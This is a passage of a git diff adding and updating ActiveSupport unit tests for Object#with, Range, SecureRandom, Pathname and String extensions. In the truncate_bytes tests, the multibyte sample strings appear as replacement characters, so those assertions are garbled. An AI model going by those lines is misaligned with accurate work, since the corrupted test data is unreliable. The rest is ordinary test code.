+      @private_attr = :private
+    end
+
+    attr_accessor :public_attr, :another_public_attr
+
+    attr_reader :mixed_attr
+
+    protected
+      attr_accessor :protected_attr
+
+    private
+      attr_accessor :private_attr
+      attr_writer :mixed_attr
+  end
+
+  setup do
+    @object = Record.new
+  end
+
+  test "sets and restore attributes around a block" do
+    assert_equal :public, @object.public_attr
+    assert_equal :another_public, @object.another_public_attr
+
+    @object.with(public_attr: :changed, another_public_attr: :changed_too) do
+      assert_equal :changed, @object.public_attr
+      assert_equal :changed_too, @object.another_public_attr
+    end
+
+    assert_equal :public, @object.public_attr
+    assert_equal :another_public, @object.another_public_attr
+  end
+
+  test "restore attribute if the block raised" do
+    assert_equal :public, @object.public_attr
+    assert_equal :another_public, @object.another_public_attr
+
+    assert_raise RuntimeError do
+      @object.with(public_attr: :changed, another_public_attr: :changed_too) do
+        assert_equal :changed, @object.public_attr
+        assert_equal :changed_too, @object.another_public_attr
+        raise "Oops"
+      end
+    end
+
+    assert_equal :public, @object.public_attr
+    assert_equal :another_public, @object.another_public_attr
+  end
+
+  test "restore attributes if one of the setter raised" do
+    assert_equal :public, @object.public_attr
+    assert_equal :mixed, @object.mixed_attr
+
+    assert_raise NoMethodError do
+      @object.with(public_attr: :changed, mixed_attr: :changed_too) do
+        assert false
+      end
+    end
+
+    assert_equal :public, @object.public_attr
+    assert_equal :mixed, @object.mixed_attr
+  end
+
+  test "only works with public attributes" do
+    assert_raises NoMethodError do
+      @object.with(private_attr: :changed) { }
+    end
+
+    assert_raises NoMethodError do
+      @object.with(protected_attr: :changed) { }
+    end
+
+    assert_equal :mixed, @object.mixed_attr
+    assert_raises NoMethodError do
+      @object.with(mixed_attr: :changed) { }
+    end
+    assert_equal :mixed, @object.mixed_attr
+  end
+
+  test "yields the instance to the block" do
+    assert_equal "1", @object.with(public_attr: "1", &:public_attr)
+  end
+
+  test "basic immediates don't respond to #with" do
+    assert_not_respond_to nil, :with
+    assert_not_respond_to true, :with
+    assert_not_respond_to false, :with
+    assert_not_respond_to 1, :with
+    assert_not_respond_to 1.0, :with
+    assert_not_respond_to :sym, :with
+  end
+end
diff --git a/activesupport/test/core_ext/pathname/blank_test.rb b/activesupport/test/core_ext/pathname/blank_test.rb
new file mode 100644
index 0000000000000..19c558803c22a
--- /dev/null
+++ b/activesupport/test/core_ext/pathname/blank_test.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
+require "active_support/core_ext/pathname/blank"
+
+class PathnameBlankTest < ActiveSupport::TestCase
+  def test_blank
+    assert_predicate Pathname.new(""), :blank?
+    assert_not_predicate Pathname.new("test"), :blank?
+    assert_not_predicate Pathname.new(" "), :blank?
+  end
+end
diff --git a/activesupport/test/core_ext/pathname/existence_test.rb b/activesupport/test/core_ext/pathname/existence_test.rb
new file mode 100644
index 0000000000000..a8a3cb0670311
--- /dev/null
+++ b/activesupport/test/core_ext/pathname/existence_test.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
+require "active_support/core_ext/pathname/existence"
+
+class PathnameExistenceTest < ActiveSupport::TestCase
+  def test_existence
+    existing = Pathname.new(__FILE__)
+    not_existing = Pathname.new("not existing")
+    assert_equal existing, existing.existence
+    assert_nil not_existing.existence
+  end
+end
diff --git a/activesupport/test/core_ext/range_ext_test.rb b/activesupport/test/core_ext/range_ext_test.rb
index d166c7309ce3c..2e5994e6bf7cf 100644
--- a/activesupport/test/core_ext/range_ext_test.rb
+++ b/activesupport/test/core_ext/range_ext_test.rb
@@ -1,22 +1,38 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/time"
 require "active_support/core_ext/numeric"
 require "active_support/core_ext/range"
 
 class RangeTest < ActiveSupport::TestCase
-  def test_to_s_from_dates
+  def test_to_fs_from_dates
     date_range = Date.new(2005, 12, 10)..Date.new(2005, 12, 12)
-    assert_equal "BETWEEN '2005-12-10' AND '2005-12-12'", date_range.to_s(:db)
+    assert_equal "BETWEEN '2005-12-10' AND '2005-12-12'", date_range.to_fs(:db)
+    assert_equal "BETWEEN '2005-12-10' AND '2005-12-12'", date_range.to_formatted_s(:db)
   end
 
-  def test_to_s_from_times
+  def test_to_fs_from_times
     date_range = Time.utc(2005, 12, 10, 15, 30)..Time.utc(2005, 12, 10, 17, 30)
-    assert_equal "BETWEEN '2005-12-10 15:30:00' AND '2005-12-10 17:30:00'", date_range.to_s(:db)
+    assert_equal "BETWEEN '2005-12-10 15:30:00' AND '2005-12-10 17:30:00'", date_range.to_fs(:db)
+  end
+
+  def test_to_fs_with_alphabets
+    assert_equal "BETWEEN 'a' AND 'z'", ("a".."z").to_fs(:db)
+    assert_equal ">= 'a'", ("a"..).to_fs(:db)
+    assert_equal "<= 'z'", (.."z").to_fs(:db)
+  end
+
+  def test_to_fs_with_numeric
+    assert_equal "BETWEEN '1' AND '100'", (1..100).to_fs(:db)
+    assert_equal ">= '1'", (1..).to_fs(:db)
+    assert_equal "<= '100'", (..100).to_fs(:db)
   end
 
-  def test_to_s_with_numeric
+  def test_to_fs_with_format_invalid_format
     number_range = (1..100)
-    assert_equal "BETWEEN '1' AND '100'", number_range.to_s(:db)
+
+    assert_equal "1..100", number_range.to_fs(:not_existent)
   end
 
   def test_date_range
@@ -25,20 +41,94 @@ def test_date_range
     assert_instance_of Range, DateTime.new..DateTime::Infinity.new
   end
 
-  def test_overlaps_last_inclusive
-    assert((1..5).overlaps?(5..10))
+  def test_overlap_last_inclusive
+    assert((1..5).overlap?(5..10))
+  end
+
+  def test_overlap_last_exclusive
+    assert_not (1...5).overlap?(5..10)
   end
 
-  def test_overlaps_last_exclusive
-    assert !(1...5).overlaps?(5..10)
+  def test_overlap_first_inclusive
+    assert((5..10).overlap?(1..5))
   end
 
-  def test_overlaps_first_inclusive
-    assert((5..10).overlaps?(1..5))
+  def test_overlap_first_exclusive
+    assert_not (5..10).overlap?(1...5)
   end
 
-  def test_overlaps_first_exclusive
-    assert !(5..10).overlaps?(1...5)
+  def test_overlap_with_beginless_range
+    assert((1..5).overlap?(..10))
+  end
+
+  def test_overlap_with_two_beginless_ranges
+    assert((..5).overlap?(..10))
+  end
+
+  def test_overlaps_alias
+    assert (1..5).overlaps?(5..10)
+    assert_not (1...5).overlaps?(6..10)
+  end
+
+  def test_overlap_behaves_like_ruby
+    assert_not_operator(0..2, :overlap?, -2..-1)
+    assert_not_operator(0..2, :overlap?, -2...0)
+    assert_operator(0..2, :overlap?, -1..0)
+    assert_operator(0..2, :overlap?, 1..2)
+    assert_operator(0..2, :overlap?, 2..3)
+    assert_not_operator(0..2, :overlap?, 3..4)
+    assert_not_operator(0...2, :overlap?, 2..3)
+    assert_operator(..0, :overlap?, -1..0)
+    assert_operator(...0, :overlap?, -1..0)
+    assert_operator(..0, :overlap?, 0..1)
+    assert_operator(..0, :overlap?, ..1)
+    assert_not_operator(..0, :overlap?, 1..2)
+    assert_not_operator(...0, :overlap?, 0..1)
+    assert_not_operator(0.., :overlap?, -2..-1)
+    assert_not_operator(0.., :overlap?, ...0)
+    assert_operator(0.., :overlap?, -1..0)
+    assert_operator(0.., :overlap?, ..0)
+    assert_operator(0.., :overlap?, 0..1)
+    assert_operator(0.., :overlap?, 1..2)
+    assert_operator(0.., :overlap?, 1..)
+
+    assert_not_operator((1..3), :overlap?, ("a".."d"))
+
+    assert_raise(TypeError) { (0..).overlap?(1) }
+    assert_raise(TypeError) { (0..).overlap?(nil) }
+
+    assert_operator((1..3), :overlap?, (2..4))
+    assert_operator((1...3), :overlap?, (2..3))
+    assert_operator((2..3), :overlap?, (1..2))
+    assert_operator((..3), :overlap?, (3..))
+    assert_operator((nil..nil), :overlap?, (3..))
+    assert_operator((nil...nil), :overlap?, (nil..))
+
+    assert_raise(TypeError) { (1..3).overlap?(1) }
+
+    assert_not_operator((1..2), :overlap?, (2...2))
+    assert_not_operator((2...2), :overlap?, (1..2))
+
+    assert_not_operator((4..1), :overlap?, (2..3))
+    assert_not_operator((4..1), :overlap?, (..3))
+    assert_not_operator((4..1), :overlap?, (2..))
+
+    assert_not_operator((1..4), :overlap?, (3..2))
+    assert_not_operator((..4), :overlap?, (3..2))
+    assert_not_operator((1..), :overlap?, (3..2))
+
+    assert_not_operator((4..5), :overlap?, (2..3))
+    assert_not_operator((4..5), :overlap?, (2...4))
+
+    assert_not_operator((1..2), :overlap?, (3..4))
+    assert_not_operator((1...3), :overlap?, (3..4))
+
+    assert_not_operator((4..5), :overlap?, (2..3))
+    assert_not_operator((4..5), :overlap?, (2...4))
+
+    assert_not_operator((1..2), :overlap?, (3..4))
+    assert_not_operator((1...3), :overlap?, (3..4))
+    assert_not_operator((...3), :overlap?, (3..))
   end
 
   def test_should_include_identical_inclusive
@@ -50,7 +140,40 @@ def test_should_include_identical_exclusive
   end
 
   def test_should_include_other_with_exclusive_end
-    assert((1..10).include?(1...10))
+    assert((1..10).include?(1...11))
+  end
+
+  def test_include_returns_false_for_backwards
+    assert_not((1..10).include?(5..3))
+  end
+
+  # Match quirky plain-Ruby behavior
+  def test_include_returns_false_for_empty_exclusive_end
+    assert_not((1..5).include?(3...3))
+  end
+
+  def test_include_with_endless_range
+    assert((1..).include?(2))
+  end
+
+  def test_should_include_range_with_endless_range
+    assert((1..).include?(2..4))
+  end
+
+  def test_should_not_include_range_with_endless_range
+    assert_not((1..).include?(0..4))
+  end
+
+  def test_include_with_beginless_range
+    assert((..2).include?(1))
+  end
+
+  def test_should_include_range_with_beginless_range
+    assert((..2).include?(-1..1))
+  end
+
+  def test_should_not_include_range_with_beginless_range
+    assert_not((..2).include?(-1..3))
   end
 
   def test_should_compare_identical_inclusive
@@ -62,7 +185,32 @@ def test_should_compare_identical_exclusive
   end
 
   def test_should_compare_other_with_exclusive_end
-    assert((1..10) === (1...10))
+    assert((1..10) === (1...11))
+  end
+
+  def test_compare_returns_false_for_backwards
+    assert_not((1..10) === (5..3))
+  end
+
+  # Match quirky plain-Ruby behavior
+  def test_compare_returns_false_for_empty_exclusive_end
+    assert_not((1..5) === (3...3))
+  end
+
+  def test_should_compare_range_with_endless_range
+    assert((1..) === (2..4))
+  end
+
+  def test_should_not_compare_range_with_endless_range
+    assert_not((1..) === (0..4))
+  end
+
+  def test_should_compare_range_with_beginless_range
+    assert((..2) === (-1..1))
+  end
+
+  def test_should_not_compare_range_with_beginless_range
+    assert_not((..2) === (-1..3))
   end
 
   def test_exclusive_end_should_not_include_identical_with_inclusive_end
@@ -86,46 +234,69 @@ def test_cover_is_not_override
     assert range.method(:include?) != range.method(:cover?)
   end
 
-  def test_overlaps_on_time
+  def test_overlap_on_time
     time_range_1 = Time.utc(2005, 12, 10, 15, 30)..Time.utc(2005, 12, 10, 17, 30)
     time_range_2 = Time.utc(2005, 12, 10, 17, 00)..Time.utc(2005, 12, 10, 18, 00)
-    assert time_range_1.overlaps?(time_range_2)
+    assert time_range_1.overlap?(time_range_2)
   end
 
-  def test_no_overlaps_on_time
+  def test_no_overlap_on_time
     time_range_1 = Time.utc(2005, 12, 10, 15, 30)..Time.utc(2005, 12, 10, 17, 30)
     time_range_2 = Time.utc(2005, 12, 10, 17, 31)..Time.utc(2005, 12, 10, 18, 00)
-    assert !time_range_1.overlaps?(time_range_2)
+    assert_not time_range_1.overlap?(time_range_2)
   end
 
   def test_each_on_time_with_zone
-    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Eastern Time (US & Canada)"] , Time.utc(2006, 11, 28, 10, 30))
+    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Eastern Time (US & Canada)"], Time.utc(2006, 11, 28, 10, 30))
     assert_raises TypeError do
-      ((twz - 1.hour)..twz).each {}
+      ((twz - 1.hour)..twz).each { }
     end
   end
 
-  def test_step_on_time_with_zone
-    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Eastern Time (US & Canada)"] , Time.utc(2006, 11, 28, 10, 30))
-    assert_raises TypeError do
-      ((twz - 1.hour)..twz).step(1) {}
+  if RUBY_VERSION < "3.4"
+    def test_step_on_time_with_zone
+      twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Eastern Time (US & Canada)"], Time.utc(2006, 11, 28, 10, 30))
+      assert_raises TypeError do
+        ((twz - 1.hour)..twz).step(1) { }
+      end
     end
-  end
+  else
+    def test_step_on_time_with_zone
+      twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Eastern Time (US & Canada)"], Time.utc(2006, 11, 28, 10, 30))
 
-  def test_include_on_time_with_zone
-    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Eastern Time (US & Canada)"] , Time.utc(2006, 11, 28, 10, 30))
-    assert_raises TypeError do
-      ((twz - 1.hour)..twz).include?(twz)
+      assert_equal [twz, twz + 15.minutes, twz + 30.minutes], (twz..).step(15.minutes).first(3)
     end
   end
 
+  def test_cover_on_time_with_zone
+    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Eastern Time (US & Canada)"], Time.utc(2006, 11, 28, 10, 30))
+    assert ((twz - 1.hour)..twz).cover?(twz)
+  end
+
+  def test_case_equals_on_time_with_zone
+    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Eastern Time (US & Canada)"], Time.utc(2006, 11, 28, 10, 30))
+    assert ((twz - 1.hour)..twz) === twz
+  end
+
   def test_date_time_with_each
     datetime = DateTime.now
-    assert(((datetime - 1.hour)..datetime).each {})
+    assert(((datetime - 1.hour)..datetime).each { })
   end
 
   def test_date_time_with_step
     datetime = DateTime.now
-    assert(((datetime - 1.hour)..datetime).step(1) {})
+    assert(((datetime - 1.hour)..datetime).step(1) { })
+  end
+
+  def test_sole
+    assert_equal 1, (1..1).sole
+
+    assert_raises(Enumerable::SoleItemExpectedError, match: "no item found") do
+      (2..1).sole
+    end
+
+    assert_raises(Enumerable::SoleItemExpectedError, match: "infinite range '..1' cannot represent a sole item") do
+      (..1).sole
+    end
   end
 end
diff --git a/activesupport/test/core_ext/regexp_ext_test.rb b/activesupport/test/core_ext/regexp_ext_test.rb
index e569a9f23439d..5b074c46ebac8 100644
--- a/activesupport/test/core_ext/regexp_ext_test.rb
+++ b/activesupport/test/core_ext/regexp_ext_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/core_ext/regexp"
 
 class RegexpExtAccessTests < ActiveSupport::TestCase
@@ -7,28 +9,4 @@ def test_multiline
     assert_equal false, //.multiline?
     assert_equal false, /(?m:)/.multiline?
   end
-
-  # Based on https://github.com/ruby/ruby/blob/trunk/test/ruby/test_regexp.rb.
-  def test_match_p
-    /back(...)/ =~ "backref"
-    # must match here, but not in a separate method, e.g., assert_send,
-    # to check if $~ is affected or not.
-    assert_equal false, //.match?(nil)
-    assert_equal true, //.match?("")
-    assert_equal true, /.../.match?(:abc)
-    assert_raise(TypeError) { /.../.match?(Object.new) }
-    assert_equal true, /b/.match?("abc")
-    assert_equal true, /b/.match?("abc", 1)
-    assert_equal true, /../.match?("abc", 1)
-    assert_equal true, /../.match?("abc", -2)
-    assert_equal false, /../.match?("abc", -4)
-    assert_equal false, /../.match?("abc", 4)
-    assert_equal true, /\z/.match?("")
-    assert_equal true, /\z/.match?("abc")
-    assert_equal true, /R.../.match?("Ruby")
-    assert_equal false, /R.../.match?("Ruby", 1)
-    assert_equal false, /P.../.match?("Ruby")
-    assert_equal "backref", $&
-    assert_equal "ref", $1
-  end
 end
diff --git a/activesupport/test/core_ext/secure_random_test.rb b/activesupport/test/core_ext/secure_random_test.rb
index fc25f6ab41f4e..9428f26338c37 100644
--- a/activesupport/test/core_ext/secure_random_test.rb
+++ b/activesupport/test/core_ext/secure_random_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/core_ext/securerandom"
 
 class SecureRandomTest < ActiveSupport::TestCase
@@ -8,6 +10,10 @@ def test_base58
 
     assert_not_equal s1, s2
     assert_equal 16, s1.length
+    assert_match(/^[a-zA-Z0-9]+$/, s1)
+    assert_match(/^[a-zA-Z0-9]+$/, s2)
+    assert_match(/^[^0OIl]+$/, s1)
+    assert_match(/^[^0OIl]+$/, s2)
   end
 
   def test_base58_with_length
@@ -16,5 +22,87 @@ def test_base58_with_length
 
     assert_not_equal s1, s2
     assert_equal 24, s1.length
+    assert_match(/^[a-zA-Z0-9]+$/, s1)
+    assert_match(/^[a-zA-Z0-9]+$/, s2)
+    assert_match(/^[^0OIl]+$/, s1)
+    assert_match(/^[^0OIl]+$/, s2)
+  end
+
+  def test_base58_with_nil
+    s1 = SecureRandom.base58(nil)
+    s2 = SecureRandom.base58(nil)
+
+    assert_not_equal s1, s2
+    assert_equal 16, s1.length
+    assert_match(/^[a-zA-Z0-9]+$/, s1)
+    assert_match(/^[a-zA-Z0-9]+$/, s2)
+    assert_match(/^[^0OIl]+$/, s1)
+    assert_match(/^[^0OIl]+$/, s2)
+  end
+
+  def test_base36
+    s1 = SecureRandom.base36
+    s2 = SecureRandom.base36
+
+    assert_not_equal s1, s2
+    assert_equal 16, s1.length
+    assert_match(/^[a-z0-9]+$/, s1)
+    assert_match(/^[a-z0-9]+$/, s2)
+  end
+
+  def test_base36_with_length
+    s1 = SecureRandom.base36(24)
+    s2 = SecureRandom.base36(24)
+
+    assert_not_equal s1, s2
+    assert_equal 24, s1.length
+    assert_match(/^[a-z0-9]+$/, s1)
+    assert_match(/^[a-z0-9]+$/, s2)
+  end
+
+  def test_base36_with_nil
+    s1 = SecureRandom.base36(nil)
+    s2 = SecureRandom.base36(nil)
+
+    assert_not_equal s1, s2
+    assert_equal 16, s1.length
+    assert_match(/^[a-z0-9]+$/, s1)
+    assert_match(/^[a-z0-9]+$/, s2)
+  end
+
+  def test_base32
+    s1 = SecureRandom.base32
+    s2 = SecureRandom.base32
+
+    assert_not_equal s1, s2
+    assert_equal 16, s1.length
+    assert_match(/^[A-Z0-9]+$/, s1)
+    assert_match(/^[A-Z0-9]+$/, s2)
+    assert_match(/^[^ILOU]+$/, s1)
+    assert_match(/^[^ILOU]+$/, s2)
+  end
+
+  def test_base32_with_length
+    s1 = SecureRandom.base32(24)
+    s2 = SecureRandom.base32(24)
+
+    assert_not_equal s1, s2
+    assert_equal 24, s1.length
+    assert_match(/^[A-Z0-9]+$/, s1)
+    assert_match(/^[A-Z0-9]+$/, s2)
+    assert_match(/^[^ILOU]+$/, s1)
+    assert_match(/^[^ILOU]+$/, s2)
+  end
+
+  def test_base32_with_nil
+    s1 = SecureRandom.base32(nil)
+    s2 = SecureRandom.base32(nil)
+
+    assert_not_equal s1, s2
+    assert_equal 16, s1.length
+    assert_match(/^[A-Z0-9]+$/, s1)
+    assert_match(/^[A-Z0-9]+$/, s2)
+    assert_match(/^[^ILOU]+$/, s1)
+    assert_match(/^[^ILOU]+$/, s2)
   end
 end
diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb
index 5d90fa2509e4b..a085918fc38c4 100644
--- a/activesupport/test/core_ext/string_ext_test.rb
+++ b/activesupport/test/core_ext/string_ext_test.rb
@@ -1,15 +1,19 @@
+# frozen_string_literal: true
+
 require "date"
-require "abstract_unit"
-require "inflector_test_cases"
-require "constantize_test_cases"
+require_relative "../abstract_unit"
+require "timeout"
+require_relative "../inflector_test_cases"
+require_relative "../constantize_test_cases"
 
 require "active_support/inflector"
 require "active_support/core_ext/string"
+require "active_support/core_ext/object/json"
 require "active_support/time"
-require "active_support/core_ext/string/strip"
 require "active_support/core_ext/string/output_safety"
 require "active_support/core_ext/string/indent"
-require "time_zone_test_helpers"
+require "active_support/core_ext/string/strip"
+require_relative "../time_zone_test_helpers"
 require "yaml"
 
 class StringInflectionsTest < ActiveSupport::TestCase
@@ -21,6 +25,10 @@ def test_strip_heredoc_on_an_empty_string
     assert_equal "", "".strip_heredoc
   end
 
+  def test_strip_heredoc_on_a_frozen_string
+    assert_predicate "".strip_heredoc, :frozen?
+  end
+
   def test_strip_heredoc_on_a_string_with_no_lines
     assert_equal "x", "x".strip_heredoc
     assert_equal "x", "    x".strip_heredoc
@@ -77,6 +85,25 @@ def test_titleize
     end
   end
 
+  def test_titleize_with_keep_id_suffix
+    MixtureToTitleCaseWithKeepIdSuffix.each do |before, titleized|
+      assert_equal(titleized, before.titleize(keep_id_suffix: true))
+    end
+  end
+
+  def test_downcase_first
+    assert_equal "try again", "Try again".downcase_first
+  end
+
+  def test_downcase_first_with_one_char
+    assert_equal "t", "T".downcase_first
+  end
+
+  def test_downcase_first_with_empty_string
+    assert_equal "", "".downcase_first
+    assert_not_predicate "".downcase_first, :frozen?
+  end
+
   def test_upcase_first
     assert_equal "What a Lovely Day", "what a Lovely Day".upcase_first
   end
@@ -87,6 +114,7 @@ def test_upcase_first_with_one_char
 
   def test_upcase_first_with_empty_string
     assert_equal "", "".upcase_first
+    assert_not_predicate "".upcase_first, :frozen?
   end
 
   def test_camelize
@@ -99,6 +127,17 @@ def test_camelize_lower
     assert_equal("capital", "Capital".camelize(:lower))
   end
 
+  def test_camelize_upper
+    assert_equal("Capital", "Capital".camelize(:upper))
+  end
+
+  def test_camelize_invalid_option
+    e = assert_raise ArgumentError do
+      "Capital".camelize(nil)
+    end
+    assert_equal("Invalid option, use either :upper or :lower.", e.message)
+  end
+
   def test_dasherize
     UnderscoresToDashes.each do |underscored, dasherized|
       assert_equal(dasherized, underscored.dasherize)
@@ -181,11 +220,17 @@ def test_string_parameterized_underscore
   end
 
   def test_string_parameterized_underscore_preserve_case
-    StringToParameterizePreserceCaseWithUnderscore.each do |normal, slugged|
+    StringToParameterizePreserveCaseWithUnderscore.each do |normal, slugged|
       assert_equal(slugged, normal.parameterize(separator: "_", preserve_case: true))
     end
   end
 
+  def test_parameterize_with_locale
+    word = "Fünf autos"
+    I18n.backend.store_translations(:de, i18n: { transliterate: { rule: { "ü" => "ue" } } })
+    assert_equal("fuenf-autos", word.parameterize(locale: :de))
+  end
+
   def test_humanize
     UnderscoreToHuman.each do |underscore, human|
       assert_equal(human, underscore.humanize)
@@ -198,6 +243,12 @@ def test_humanize_without_capitalize
     end
   end
 
+  def test_humanize_with_keep_id_suffix
+    UnderscoreToHumanWithKeepIdSuffix.each do |underscore, human|
+      assert_equal(human, underscore.humanize(keep_id_suffix: true))
+    end
+  end
+
   def test_humanize_with_html_escape
     assert_equal "Hello", ERB::Util.html_escape("hello").humanize
   end
@@ -211,15 +262,15 @@ def test_starts_ends_with_alias
     s = "hello"
     assert s.starts_with?("h")
     assert s.starts_with?("hel")
-    assert !s.starts_with?("el")
+    assert_not s.starts_with?("el")
 
     assert s.ends_with?("o")
     assert s.ends_with?("lo")
-    assert !s.ends_with?("el")
+    assert_not s.ends_with?("el")
   end
 
   def test_string_squish
-    original = %{\u205f\u3000 A string surrounded by various unicode spaces,
+    original = +%{\u205f\u3000 A string surrounded by various unicode spaces,
       with tabs(\t\t), newlines(\n\n), unicode nextlines(\u0085\u0085) and many spaces(  ). \u00a0\u2007}
 
     expected = "A string surrounded by various unicode spaces, " \
@@ -237,8 +288,8 @@ def test_string_squish
   end
 
   def test_string_inquiry
-    assert "production".inquiry.production?
-    assert !"production".inquiry.development?
+    assert_predicate "production".inquiry, :production?
+    assert_not_predicate "production".inquiry, :development?
   end
 
   def test_truncate
@@ -259,6 +310,82 @@ def test_truncate_with_omission_and_regexp_separator
     assert_equal "Hello Big[...]", "Hello Big World!".truncate(15, omission: "[...]", separator: /\s/)
   end
 
+  def test_truncate_returns_frozen_string
+    assert_not "Hello World!".truncate(12).frozen?
+    assert_not "Hello World!!".truncate(12).frozen?
+  end
+
+  def test_truncate_bytes
+    assert_equal "����", "����".truncate_bytes(16)
+    assert_equal "����", "����".truncate_bytes(16, omission: nil)
+    assert_equal "����", "����".truncate_bytes(16, omission: " ")
+    assert_equal "����", "����".truncate_bytes(16, omission: "🖖")
+
+    assert_equal "���…", "����".truncate_bytes(15)
+    assert_equal "���", "����".truncate_bytes(15, omission: nil)
+    assert_equal "��� ", "����".truncate_bytes(15, omission: " ")
+    assert_equal "��🖖", "����".truncate_bytes(15, omission: "🖖")
+
+    assert_equal "…", "����".truncate_bytes(5)
+    assert_equal "�", "����".truncate_bytes(5, omission: nil)
+    assert_equal "� ", "����".truncate_bytes(5, omission: " ")
+    assert_equal "🖖", "����".truncate_bytes(5, omission: "🖖")
+
+    assert_equal "…", "����".truncate_bytes(4)
+    assert_equal "�", "����".truncate_bytes(4, omission: nil)
+    assert_equal " ", "����".truncate_bytes(4, omission: " ")
+    assert_equal "🖖", "����".truncate_bytes(4, omission: "🖖")
+
+    assert_raise ArgumentError do
+      "����".truncate_bytes(3, omission: "🖖")
+    end
+  end
+
+  def test_truncate_bytes_preserves_codepoints
+    assert_equal "����", "����".truncate_bytes(16)
+    assert_equal "����", "����".truncate_bytes(16, omission: nil)
+    assert_equal "����", "����".truncate_bytes(16, omission: " ")
+    assert_equal "����", "����".truncate_bytes(16, omission: "🖖")
+
+    assert_equal "���…", "����".truncate_bytes(15)
+    assert_equal "���", "����".truncate_bytes(15, omission: nil)
+    assert_equal "��� ", "����".truncate_bytes(15, omission: " ")
+    assert_equal "��🖖", "����".truncate_bytes(15, omission: "🖖")
+
+    assert_equal "…", "����".truncate_bytes(5)
+    assert_equal "�", "����".truncate_bytes(5, omission: nil)
+    assert_equal "� ", "����".truncate_bytes(5, omission: " ")
+    assert_equal "🖖", "����".truncate_bytes(5, omission: "🖖")
+
+    assert_equal "…", "����".truncate_bytes(4)
+    assert_equal "�", "����".truncate_bytes(4, omission: nil)
+    assert_equal " ", "����".truncate_bytes(4, omission: " ")
+    assert_equal "🖖", "����".truncate_bytes(4, omission: "🖖")
+
+    assert_raise ArgumentError do
+      "����".truncate_bytes(3, omission: "🖖")
+    end
+  end
+
+  def test_truncates_bytes_preserves_grapheme_clusters
+    assert_equal "a ", "a �� b".truncate_bytes(2, omission: nil)
+    assert_equal "a ", "a �� b".truncate_bytes(3, omission: nil)
+    assert_equal "a ", "a �� b".truncate_bytes(7, omission: nil)
+    assert_equal "a ��", "a �� b".truncate_bytes(8, omission: nil)
+
+    assert_equal "a ", "a 👩����👩".truncate_bytes(13, omission: nil)
+    assert_equal "", "👩����👩".truncate_bytes(13, omission: nil)
+  end
+
+  def test_truncates_bytes_preserves_encoding
+    original = String.new("a" * 30, encoding: Encoding::UTF_8)
+
+    assert_equal Encoding::UTF_8, original.truncate_bytes(15).encoding
+    assert_equal Encoding::UTF_8, original.truncate_bytes(15, omission: nil).encoding
+    assert_equal Encoding::UTF_8, original.truncate_bytes(15, omission: " ").encoding
+    assert_equal Encoding::UTF_8, original.truncate_bytes(15, omission: "🖖").encoding
+  end
+
   def test_truncate_words
     assert_equal "Hello Big World!", "Hello Big World!".truncate_words(3)
     assert_equal "Hello Big...", "Hello Big World!".truncate_words(2)
@@ -290,12 +417,12 @@ def test_truncate_words_with_complex_string
   end
 
   def test_truncate_multibyte
-    assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding(Encoding::UTF_8),
-      "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding(Encoding::UTF_8).truncate(10)
+    assert_equal (+"\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...").force_encoding(Encoding::UTF_8),
+      (+"\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244").force_encoding(Encoding::UTF_8).truncate(10)
   end
 
   def test_truncate_should_not_be_html_safe
-    assert !"Hello World!".truncate(12).html_safe?
+    assert_not_predicate "Hello World!".truncate(12), :html_safe?
   end
 
   def test_remove
@@ -312,7 +439,7 @@ def test_remove_for_multiple_occurrences
   end
 
   def test_remove!
-    original = "This is a very good day to die"
+    original = +"This is a very good day to die"
     assert_equal "This is a good day to die", original.remove!(" very")
     assert_equal "This is a good day to die", original
     assert_equal "This is a good day", original.remove!(" to ", /die/)
@@ -356,6 +483,8 @@ class StringAccessTest < ActiveSupport::TestCase
 
   test "#to with negative Integer, position is counted from the end" do
     assert_equal "hell", "hello".to(-2)
+    assert_equal "h", "hello".to(-5)
+    assert_equal "", "hello".to(-7)
   end
 
   test "#from and #to can be combined" do
@@ -381,6 +510,19 @@ class StringAccessTest < ActiveSupport::TestCase
     assert_not_same different_string, string
   end
 
+  test "#first with Integer returns a non-frozen string" do
+    string = "he"
+    (0..string.length + 1).each do |limit|
+      assert_not string.first(limit).frozen?
+    end
+  end
+
+  test "#first with negative Integer raises ArgumentError" do
+    assert_raise ArgumentError do
+      "hello".first(-1)
+    end
+  end
+
   test "#last returns the last character" do
     assert_equal "o", "hello".last
     assert_equal "x", "x".last
@@ -399,6 +541,19 @@ class StringAccessTest < ActiveSupport::TestCase
     assert_not_same different_string, string
   end
 
+  test "#last with Integer returns a non-frozen string" do
+    string = "he"
+    (0..string.length + 1).each do |limit|
+      assert_not string.last(limit).frozen?
+    end
+  end
+
+  test "#last with negative Integer raises ArgumentError" do
+    assert_raise ArgumentError do
+      "hello".last(-1)
+    end
+  end
+
   test "access returns a real string" do
     hash = {}
     hash["h"] = true
@@ -446,19 +601,20 @@ def test_string_to_time
     end
   end
 
+  def test_timestamp_string_to_time
+    exception = assert_raises(ArgumentError) do
+      "1604326192".to_time
+    end
+
+    assert_equal "argument out of range", exception.message
+  end
+
   def test_string_to_time_utc_offset
     with_env_tz "US/Eastern" do
